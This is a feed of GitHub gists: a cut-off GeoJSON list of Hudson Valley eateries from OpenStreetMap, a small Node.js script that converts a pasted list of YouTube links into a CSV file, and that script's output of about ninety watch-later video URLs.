{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0886892,41.5922398]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1263639992&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Moe&apos;s Southwest Grill&quot;,&quot;brand:wikidata&quot;:&quot;Q6889938&quot;,&quot;brand:wikipedia&quot;:&quot;en:Moe&apos;s Southwest Grill&quot;,&quot;cuisine&quot;:&quot;mexican&quot;,&quot;name&quot;:&quot;Moe&apos;s Southwest Grill&quot;},&quot;id&quot;:&quot;node/1263639992&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9898224,41.3106484]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1711557257&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;shop&quot;:&quot;kiosk&quot;},&quot;id&quot;:&quot;node/1711557257&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9185719,41.6231546]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1739872175&quot;,&quot;addr:city&quot;:&quot;Poughkeepsie&quot;,&quot;addr:country&quot;:&quot;US&quot;,&quot;addr:housename&quot;:&quot;South Road Square&quot;,&quot;addr:housenumber&quot;:&quot;1955&quot;,&quot;addr:postcode&quot;:&quot;12601&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;south road&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Subway&quot;,&quot;brand:wikidata&quot;:&quot;Q244457&quot;,&quot;brand:wikipedia&quot;:&quot;en:Subway (restaurant)&quot;,&quot;cuisine&quot;:&quot;sandwich&quot;,&quot;designation&quot;:&quot;Subway&quot;,&quot;name&quot;:&quot;Subway&quot;,&quot;takeaway&quot;:&quot;yes&quot;,&quot;website&quot;:&quot;https://www.subway.com/&quot;},&quot;id&quot;:&quot;node/1739872175&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9112619,41.5961178]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1925924158&quot;,&quot;addr:city&quot;:&quot;Wappingers Falls&quot;,&quot;addr:housenumber&quot;:&quot;1571&quot;,&quot;addr:postcode&quot;:&quot;12590&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;Route 9&quot;,&quot;amenity&quot;:&quot;cafe&quot;,&quot;cuisine&quot;:&quot;coffee_shop&quot;,&quot;name&quot;:&quot;Bad Ass Coffee&quot;,&quot;nysgissam:nysaddresspointid&quot;:&quot;DUTC015162&quot;},&quot;id&quot;:&quot;node/1925924158&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9191033,41.5987055]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1925940369&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cuisine&quot;:&quot;pizza&quot;,&quot;name&quot;:&quot;Wagon Wheel&quot;},&quot;id&quot;:&quot;node/1925940369&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9190243,41.5986461]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1925951165&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;name&quot;:&quot;County Fare&quot;,&quot;outdoor_seating&quot;:&quot;yes&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/1925951165&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9206818,41.5975941]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1925957567&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cuisine&quot;:&quot;italian&quot;,&quot;name&quot;:&quot;Stefanos&quot;},&quot;id&quot;:&quot;node/1925957567&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-74.0197842,41.9348009]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/1949502047&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;amenity&quot;:&quot;cafe&quot;,&quot;gnis:county_name&quot;:&quot;Ulster&quot;,&quot;gnis:reviewed&quot;:&quot;no&quot;,&quot;name&quot;:&quot;Sissy&apos;s Cafe&quot;,&quot;source&quot;:&quot;local_knowledge&quot;,&quot;website&quot;:&quot;https://www.sissyscafekingston.com/&quot;},&quot;id&quot;:&quot;node/1949502047&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9088341,42.0583923]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/2041480721&quot;,&quot;addr:city&quot;:&quot;Tivoli&quot;,&quot;addr:housenumber&quot;:&quot;52&quot;,&quot;addr:postcode&quot;:&quot;12583&quot;,&quot;addr:street&quot;:&quot;Broadway&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cuisine&quot;:&quot;mexican&quot;,&quot;name&quot;:&quot;Santa Fe Tivoli&quot;,&quot;outdoor_seating&quot;:&quot;yes&quot;,&quot;smoking&quot;:&quot;no&quot;,&quot;takeaway&quot;:&quot;yes&quot;,&quot;website&quot;:&quot;https://www.santafetivoli.com/&quot;},&quot;id&quot;:&quot;node/2041480721&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9084797,42.0584986]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/2041483845&quot;,&quot;addr:city&quot;:&quot;Tivoli&quot;,&quot;addr:housenumber&quot;:&quot;49&quot;,&quot;addr:postcode&quot;:&quot;12583&quot;,&quot;addr:street&quot;:&quot;Broadway&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cuisine&quot;:&quot;pizza&quot;,&quot;name&quot;:&quot;Broadway Pizza&quot;},&quot;id&quot;:&quot;node/2041483845&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9106078,42.0592356]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/2041485474&quot;,&quot;addr:city&quot;:&quot;Tivoli&quot;,&quot;addr:housenumber&quot;:&quot;73&quot;,&quot;addr:postcode&quot;:&quot;12583&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;Broadway&quot;,&quot;amenity&quot;:&quot;cafe&quot;,&quot;cuisine&quot;:&quot;coffee_shop&quot;,&quot;internet_access&quot;:&quot;yes&quot;,&quot;name&quot;:&quot;Murray&apos;s&quot;,&quot;phone&quot;:&quot;(845) 757-6003&quot;,&quot;website&quot;:&quot;https://www.murraystivoli.com/&quot;},&quot;id&quot;:&quot;node/2041485474&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9104751,42.0588291]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/2041485500&quot;,&quot;addr:city&quot;:&quot;Tivoli&quot;,&quot;addr:housenumber&quot;:&quot;74&quot;,&quot;addr:postcode&quot;:&quot;12583&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;Broadway&quot;,&quot;amenity&quot;:&quot;restaurant&quot;,&quot;cuisine&quot;:&quot;sushi&quot;,&quot;name&quot;:&quot;Osaka&quot;,&quot;phone&quot;:&quot;(845) 757-5055&quot;,&quot;website&quot;:&quot;http://www.osakasushi.net/&quot;},&quot;id&quot;:&quot;node/2041485500&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.9100274,42.0587097]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/2041487009&quot;,&quot;addr:city&quot;:&quot;Tivoli&quot;,&quot;addr:housenumber&quot;:&quot;66&quot;,&quot;addr:postcode&quot;:&quot;12583&quot;,&quot;addr:state&quot;:&quot;NY&quot;,&quot;addr:street&quot;:&quot;Broadway&quot;,&quot;amenity&quot;:&quot;pub&quot;,&quot;food&quot;:&quot;yes&quot;,&quot;name&quot;:&quot;Traghaven Whiskey Pub &amp; Co.&quot;,&quot;old_name&quot;:&quot;The Black Swan&quot;,&quot;outdoor_seating&quot;:&quot;yes&quot;,&quot;website&quot;:&quot;http://www.traghaven.com/&quot;},&quot;id&quot;:&quot;node/2041487009&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-73.8816705,41.9820328]},&quot;properties&quot;:{&quot;@id&quot;:&quot;node/2041494387&quot;,&quot;amenity&quot;:&quot;fast_food&quot;,&quot;brand&quot;:&quot;Subway&quot;,&quot;brand:wikidata&quot;:&quot;Q244457&quot;,&quot;cuisine&quot;:&quot;sandwich&quot;,&quot;name&quot;:&quot;Subway&quot;,&quot;takeaway&quot;:&quot;yes&quot;},&quot;id&quot;:&quot;node/2041494387&quot;},
{&quot;type&quot;:&quot;Feature&quot;,&quot;geometry&quot;:{&quot;type&quot;:&quot;Point&quot;,&quot;coordinates&quot;:[-7</code></pre><p><em>Truncated — <a href="https://gist.github.com/89eed83d2974eeb8857784614bfa0921">view the full gist</a>.</em></p>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[text-to-csv.js]]></title>
      <link>https://gist.github.com/643e4f5339ae54da1722ad8d5c79e4ab</link>
      <guid isPermaLink="true">https://gist.github.com/643e4f5339ae54da1722ad8d5c79e4ab</guid>
      <pubDate>Wed, 20 Dec 2023 19:48:34 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2023-12-20T19:48:34.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>text-to-csv.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1409</code:size>
      </code:file>
      <description><![CDATA[]]></description>
      <content:encoded><![CDATA[<h3>text-to-csv.js</h3><pre><code class="language-javascript">const fs = require(&apos;fs&apos;);
const readline = require(&apos;readline&apos;);

const processInput = (input) =&gt; {
    // Split the input into chunks based on the list numbers
    const chunks = input.split(/\n\s*\d+\n/).filter(chunk =&gt; chunk.trim() !== &apos;&apos;);

    // Extract title and URL from each chunk
    const videos = chunks.map(chunk =&gt; {
        const titleMatch = chunk.match(/(.*?)https?:\/\/youtube\.com/g);
        const urlMatch = chunk.match(/https?:\/\/youtube\.com[^\s]+/g);
        if (titleMatch &amp;&amp; urlMatch) {
            const title = titleMatch[0].trim();
            const url = urlMatch[urlMatch.length - 1].trim();
            return { title, url };
        }
        return null;
    }).filter(video =&gt; video !== null);

    return videos;
}

// Read the entire input from STDIN as a single string
const rl = readline.createInterface({
    input: process.stdin,
    output: process.stdout,
    terminal: false
});

let inputData = &apos;&apos;;

rl.on(&apos;line&apos;, (line) =&gt; {
    inputData += line + &apos;\n&apos;;
});

rl.on(&apos;close&apos;, () =&gt; {
    const videos = processInput(inputData);

    // Create CSV content
    let csvContent = &quot;Index,Title,URL\n&quot;;
    videos.forEach((video, index) =&gt; {
        csvContent += `${index + 1},&quot;${video.title.replace(/&quot;/g, &apos;&quot;&quot;&apos;)}&quot;,&quot;${video.url}&quot;\n`;
    });

    // Write CSV to file
    fs.writeFileSync(&apos;output.csv&apos;, csvContent);
    console.log(&apos;CSV file created: output.csv&apos;);
});

</code></pre>]]></content:encoded>
    </item>
<item>
      <title><![CDATA[yt-watchlater]]></title>
      <link>https://gist.github.com/8e93278084ef462e04ca6950261b1ae0</link>
      <guid isPermaLink="true">https://gist.github.com/8e93278084ef462e04ca6950261b1ae0</guid>
      <pubDate>Wed, 20 Dec 2023 19:13:28 GMT</pubDate>
      <dc:creator>EJ Fox</dc:creator>
      <dcterms:modified>2023-12-20T19:13:29.000Z</dcterms:modified>
      <code:stargazers>0</code:stargazers>
      <code:file>
        <code:filename>output.csv</code:filename>
        <code:language>CSV</code:language>
        <code:size>43883</code:size>
      </code:file>
      <code:file>
        <code:filename>text-to-csv.js</code:filename>
        <code:language>JavaScript</code:language>
        <code:size>1409</code:size>
      </code:file>
      <code:file>
        <code:filename>watchlater.html</code:filename>
        <code:language>HTML</code:language>
        <code:size>4700393</code:size>
      </code:file>
      <code:file>
        <code:filename>watchlater.txt</code:filename>
        <code:language>Unknown</code:language>
        <code:size>83550</code:size>
      </code:file>
      <description><![CDATA[yt-watchlater]]></description>
      <content:encoded><![CDATA[<h3>output.csv</h3><pre><code class="language-csv">Index,Title,URL
1,&quot;https://youtube.com&quot;,&quot;https://youtube.com/watch?v=ex2b2bpkaio&amp;list=WL&amp;index=1&amp;pp=gAQBiAQB&quot;
2,&quot;https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Bq-Ym8qq7AE&amp;list=WL&amp;index=2&amp;pp=gAQBiAQB&quot;
3,&quot;https://youtube.com&quot;,&quot;https://youtube.com/watch?v=GKS5GIb2j84&amp;list=WL&amp;index=3&amp;pp=gAQBiAQB&quot;
4,&quot;https://youtube.com&quot;,&quot;https://youtube.com/watch?v=zMoUddn667c&amp;list=WL&amp;index=4&amp;pp=gAQBiAQB&quot;
5,&quot;https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Yjfbl-wbAnk&amp;list=WL&amp;index=5&amp;pp=gAQBiAQB&quot;
6,&quot;22:31 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=LZ06jc6RSu8&amp;list=WL&amp;index=6&amp;pp=gAQBiAQB&quot;
7,&quot;WATCHED 9:05 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=pSgnS4ZEFlo&amp;list=WL&amp;index=7&amp;pp=gAQBiAQB&quot;
8,&quot;13:59 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=YIE9UYNR6yo&amp;list=WL&amp;index=8&amp;pp=gAQBiAQB&quot;
9,&quot;WATCHED 15:15 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=CyCWh36xXSg&amp;list=WL&amp;index=9&amp;t=181s&amp;pp=gAQBiAQB&quot;
10,&quot;12:01 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Kw1v4XzYVN8&amp;list=WL&amp;index=10&amp;pp=gAQBiAQB&quot;
11,&quot;10:04 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=HIxKNwHE714&amp;list=WL&amp;index=11&amp;pp=gAQBiAQB&quot;
12,&quot;15:14 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=0F5Zv3wpckk&amp;list=WL&amp;index=12&amp;pp=gAQBiAQB&quot;
13,&quot;WATCHED 18:19 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=VEwDVkXNI4k&amp;list=WL&amp;index=13&amp;pp=gAQBiAQB&quot;
14,&quot;8:14 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=7JyaQGzFsvw&amp;list=WL&amp;index=14&amp;pp=gAQBiAQB&quot;
15,&quot;23:54 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=8eytu2_MVl8&amp;list=WL&amp;index=15&amp;pp=gAQBiAQB&quot;
16,&quot;41:19 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=nHh0NRo8G2U&amp;list=WL&amp;index=16&amp;pp=gAQBiAQB&quot;
17,&quot;8:01 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=B2tmgJ0HKxo&amp;list=WL&amp;index=17&amp;pp=gAQBiAQB&quot;
18,&quot;13:35 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=A2sS00egAzg&amp;list=WL&amp;index=18&amp;pp=gAQBiAQB&quot;
19,&quot;13:54 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=oONkKLgh5ZY&amp;list=WL&amp;index=19&amp;pp=gAQBiAQB&quot;
20,&quot;WATCHED 29:31 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=rNy0BXC8aC0&amp;list=WL&amp;index=20&amp;t=1254s&amp;pp=gAQBiAQB&quot;
21,&quot;WATCHED 20:48 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=iGvIf0j8-S4&amp;list=WL&amp;index=21&amp;t=860s&amp;pp=gAQBiAQB&quot;
22,&quot;WATCHED 2:04:12 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=CJIXbibQ0jI&amp;list=WL&amp;index=22&amp;t=4720s&amp;pp=gAQBiAQB&quot;
23,&quot;WATCHED 14:39 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=IJ3QHNQSJg8&amp;list=WL&amp;index=23&amp;t=13s&amp;pp=gAQBiAQB&quot;
24,&quot;WATCHED 7:32 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=JjUy7YZkQ2A&amp;list=WL&amp;index=24&amp;pp=gAQBiAQB&quot;
25,&quot;WATCHED 12:14 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=VRb4_kBUOr8&amp;list=WL&amp;index=25&amp;pp=gAQBiAQB&quot;
26,&quot;WATCHED 12:35 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=97qL1-IQAmI&amp;list=WL&amp;index=26&amp;t=412s&amp;pp=gAQBiAQB&quot;
27,&quot;WATCHED 11:09 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=jEAzZObkTNI&amp;list=WL&amp;index=27&amp;pp=gAQBiAQB&quot;
28,&quot;WATCHED 6:58 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=_qpW27f8G4I&amp;list=WL&amp;index=28&amp;pp=gAQBiAQB&quot;
29,&quot;8:54 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=M2vdZc3hG_Q&amp;list=WL&amp;index=29&amp;pp=gAQBiAQB&quot;
30,&quot;WATCHED 10:55 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=H7fhV3Ut-gM&amp;list=WL&amp;index=30&amp;t=166s&amp;pp=gAQBiAQB&quot;
31,&quot;6:44 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=7VvCCQ7_xYQ&amp;list=WL&amp;index=31&amp;pp=gAQBiAQB&quot;
32,&quot;WATCHED 1:29:00 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=2gZoJH9LLRM&amp;list=WL&amp;index=32&amp;t=1894s&amp;pp=gAQBiAQB&quot;
33,&quot;37:13 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=c7UYf_eyEl0&amp;list=WL&amp;index=33&amp;pp=gAQBiAQB&quot;
34,&quot;29:26 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=G_f2Brb1L_E&amp;list=WL&amp;index=34&amp;pp=gAQBiAQB&quot;
35,&quot;12:54 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=8PLiU2Iu6Oc&amp;list=WL&amp;index=35&amp;pp=gAQBiAQB&quot;
36,&quot;23:51 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=TIYTQ86kPF4&amp;list=WL&amp;index=36&amp;pp=gAQBiAQB&quot;
37,&quot;9:36 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=uVIiTqjTi_M&amp;list=WL&amp;index=37&amp;pp=gAQBiAQB&quot;
38,&quot;9:24 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=jRu2aFdRL54&amp;list=WL&amp;index=38&amp;pp=gAQBiAQB&quot;
39,&quot;7:40 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=U4GNn8-fJqE&amp;list=WL&amp;index=39&amp;pp=gAQBiAQB&quot;
40,&quot;WATCHED 10:01 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=t33Y4cEOEFU&amp;list=WL&amp;index=40&amp;pp=gAQBiAQB&quot;
41,&quot;8:20 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=_h4KLNqvLWw&amp;list=WL&amp;index=41&amp;pp=gAQBiAQB&quot;
42,&quot;10:11 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=ctYc1nJ5pr4&amp;list=WL&amp;index=42&amp;pp=gAQBiAQB&quot;
43,&quot;7:56 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=-g6nXlePVZs&amp;list=WL&amp;index=43&amp;pp=gAQBiAQB&quot;
44,&quot;34:52 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Xe6M7gMkZX0&amp;list=WL&amp;index=44&amp;pp=gAQBiAQB&quot;
45,&quot;16:32 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=eBMLb8Eb2as&amp;list=WL&amp;index=45&amp;pp=gAQBiAQB&quot;
46,&quot;16:17 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=xgNy7zXyY-A&amp;list=WL&amp;index=46&amp;pp=gAQBiAQB&quot;
47,&quot;8:29 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=B-EUE0Xkr70&amp;list=WL&amp;index=47&amp;pp=gAQBiAQB&quot;
48,&quot;10:28 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=GBNfU14yyH4&amp;list=WL&amp;index=48&amp;pp=gAQBiAQB&quot;
49,&quot;14:29 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=v7K8CIzHTxA&amp;list=WL&amp;index=49&amp;pp=gAQBiAQB&quot;
50,&quot;6:33 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=8MW4h1Rk9AA&amp;list=WL&amp;index=50&amp;pp=gAQBiAQB&quot;
51,&quot;13:05 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=_7Jo0_4RV5o&amp;list=WL&amp;index=51&amp;pp=gAQBiAQB&quot;
52,&quot;19:56 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=XWf395XFeGA&amp;list=WL&amp;index=52&amp;pp=gAQBiAQB&quot;
53,&quot;17:34 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=PdXrQO4bnuM&amp;list=WL&amp;index=53&amp;pp=gAQBiAQB&quot;
54,&quot;1:06:03 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=8AC1uXMo870&amp;list=WL&amp;index=54&amp;pp=gAQBiAQB&quot;
55,&quot;1:00:23 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=wpRIcI1Qkxk&amp;list=WL&amp;index=55&amp;pp=gAQBiAQB&quot;
56,&quot;WATCHED 8:28 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=nGc8RhP-OZc&amp;list=WL&amp;index=56&amp;pp=gAQBiAQB&quot;
57,&quot;1:25:27 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=ahHIifcFyqk&amp;list=WL&amp;index=57&amp;pp=gAQBiAQB&quot;
58,&quot;16:10 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=jjX8NkeinLU&amp;list=WL&amp;index=58&amp;pp=gAQBiAQB&quot;
59,&quot;12:47 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=szviqCs2sJo&amp;list=WL&amp;index=59&amp;pp=gAQBiAQB&quot;
60,&quot;2:32:56 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=R0PAEAtqx4w&amp;list=WL&amp;index=60&amp;pp=gAQBiAQB&quot;
61,&quot;13:42 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=Xle_dYEy1Dg&amp;list=WL&amp;index=61&amp;pp=gAQBiAQB&quot;
62,&quot;WATCHED 5:55 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=IL3ruhfGTdM&amp;list=WL&amp;index=62&amp;t=184s&amp;pp=gAQBiAQB&quot;
63,&quot;21:09 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=RheZlFj3Zp8&amp;list=WL&amp;index=63&amp;pp=gAQBiAQB&quot;
64,&quot;5:04 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=ykNsr4ITgL4&amp;list=WL&amp;index=64&amp;pp=gAQBiAQB&quot;
65,&quot;7:09 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=G1537NS9MCA&amp;list=WL&amp;index=65&amp;pp=gAQBiAQB&quot;
66,&quot;21:55 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=C_B09FZwSbA&amp;list=WL&amp;index=66&amp;pp=gAQBiAQB&quot;
67,&quot;7:21 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=r1GVb91z0gM&amp;list=WL&amp;index=67&amp;pp=gAQBiAQB&quot;
68,&quot;1:49:35 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=no2sncnaqr0&amp;list=WL&amp;index=68&amp;pp=gAQBiAQB&quot;
69,&quot;12:01 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=x-rg4cRmM_U&amp;list=WL&amp;index=69&amp;pp=gAQBiAQB&quot;
70,&quot;6:09 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=VklIuxtxYqk&amp;list=WL&amp;index=70&amp;pp=gAQBiAQB&quot;
71,&quot;1:02:04 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=EaqUwX3qtEY&amp;list=WL&amp;index=71&amp;pp=gAQBiAQB&quot;
72,&quot;5:33 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=MYs0vM53MUE&amp;list=WL&amp;index=72&amp;pp=gAQBiAQB&quot;
73,&quot;1:17:54 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=PvRuKfion6M&amp;list=WL&amp;index=73&amp;pp=gAQBiAQB&quot;
74,&quot;10:47 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=-wtNFR2OlL8&amp;list=WL&amp;index=74&amp;pp=gAQBiAQB&quot;
75,&quot;23:04 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=fnlsGMkI5pM&amp;list=WL&amp;index=75&amp;pp=gAQBiAQB&quot;
76,&quot;10:33 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=SCi4tj0D10E&amp;list=WL&amp;index=76&amp;pp=gAQBiAQB&quot;
77,&quot;8:06 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=6i-S8OLkjzM&amp;list=WL&amp;index=77&amp;pp=gAQBiAQB&quot;
78,&quot;17:51 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=d1B4e2UbQOc&amp;list=WL&amp;index=78&amp;pp=gAQBiAQB&quot;
79,&quot;13:53 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=U088emUFhiY&amp;list=WL&amp;index=79&amp;pp=gAQBiAQB&quot;
80,&quot;7:08 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=d0wIBdAH914&amp;list=WL&amp;index=80&amp;pp=gAQBiAQB&quot;
81,&quot;11:38 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=ML7Ch4Swe04&amp;list=WL&amp;index=81&amp;pp=gAQBiAQB&quot;
82,&quot;17:07 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=5HxgR3IqoRQ&amp;list=WL&amp;index=82&amp;pp=gAQBiAQB&quot;
83,&quot;8:01 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=OLXl1Xs_gP8&amp;list=WL&amp;index=83&amp;pp=gAQBiAQB&quot;
84,&quot;9:38 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=lf-mM5lKzW8&amp;list=WL&amp;index=84&amp;pp=gAQBiAQB&quot;
85,&quot;6:14 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=9sH_BoqKvdo&amp;list=WL&amp;index=85&amp;pp=gAQBiAQB&quot;
86,&quot;16:47 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=o4eEGKFul5c&amp;list=WL&amp;index=86&amp;pp=gAQBiAQB&quot;
87,&quot;12:02 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=QKFCvNBH8PA&amp;list=WL&amp;index=87&amp;pp=gAQBiAQB&quot;
88,&quot;WATCHED 1:27:11 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=vCUP6bP17fg&amp;list=WL&amp;index=88&amp;t=4679s&amp;pp=gAQBiAQB&quot;
89,&quot;7:07 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=hFal4eLyD18&amp;list=WL&amp;index=89&amp;pp=gAQBiAQB&quot;
90,&quot;6:36 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=XU4BOCX6eh4&amp;list=WL&amp;index=90&amp;pp=gAQBiAQB&quot;
91,&quot;20:29 Now playing https://youtube.com&quot;,&quot;https://youtube.com/watch?v=RYdVU1FSro4&amp;list=WL&amp;index=91&amp;pp=gAQBiAQB&quot;
